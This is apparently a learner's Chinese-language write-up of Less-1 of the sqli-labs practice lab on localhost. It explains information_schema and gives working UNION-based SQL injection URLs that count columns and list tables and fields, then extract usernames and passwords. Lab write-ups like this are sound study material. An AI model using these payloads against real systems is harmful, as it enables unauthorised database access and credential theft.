本篇是我做完第一题后的一些理解
首先将我了解的数据库的一些内容说一下
一个账户可以有多个数据库,每个数据库里可以建多个表,表里用字段来储存信息。
如图,localhost为本地账户,security等是数据库,security下面的emails等为表格,
而右边的id,email_id则为字段,字段下面就是储存的信息。
做本题要用到的一个重要的数据库为information_schema
这个数据库是本来就有的,用来储存其他数据库的信息的,例如其中的tables表格储存了其他数据库的表名
columns就储存了数据库里的字段。
下面我们来看这一题
我们的目的是要用sql注入来获取数据库里的信息
1.在url输入?id=1 ; ?id=\'等等进行测试发现了你输入的内容的位置 '输入的内容' LIMIT 0,1
可猜测后端代码可能是 where id =' 这里是你填入=号后面的内容 'LIMIT 0,1
所以我们要想用sql注入获取数据库内容 就可以将输入 ' 将内容前面的 ' 闭合,
再后面加上 %23或# (有些时候#不能用%23即为#的url编码)注释掉后面的 '
这个 LIMIT 0,1 我查了一下也不太懂,但与做本题并无太大关系;有了解的可以在下留言
那么在'与%23之间就可以用union语句获取你想要的内容
就像 :?id=1' %23 与 ?id=1的效果相同
关于union的用法大家可以查一下,要注意的是union后面获取的内容条数必须与前面查询的列数相同
2.因此本题的下一步就是获得回显的个数
http://localhost/sqli-labs-master/Less-1/?id=1' order by 4;%23
这里的order by 是一个函数方法 就是按照哪一列排序,列数超出就会报错,所以
我们能用它试出后端返回的数据个数为3。
3,下面就能用union方法获取数据库内容了
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,database();%23
id=0则返回空,后面就返回select 1,2,database()的内容,即为1,2,security
security即为database()的返回就是指当前数据库的名字
可题目只显示了2,security 可知只有2与3两个回显位能看到
3.接下来我们就可以利用information_Schema.tables获取security里的表格信息
127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1 ,2,group_concat(table_name) from information_Schema.tables where table_schema='security';%23
这个group_concat()就是将获取到的内容拼接成字符串输出
接着可以获取users表里的字段
where%20table_name=%27users%27and%20table_schema%20='security';%23
TIP:%20 为空格 %27为 '
(这里用到and查询避免users表格不只存在一个数据库里的情况)
然后就得到users里的字段为id,username,password
4.最后我们就可以根据字段名获取数据
http://127.0.0.1/sqli-labs-master/Less-1/?id=0%27%20union%20select%201,group_concat(username)%20,group_concat(password)%20from%20users%20;%23
这样这题就算做完了。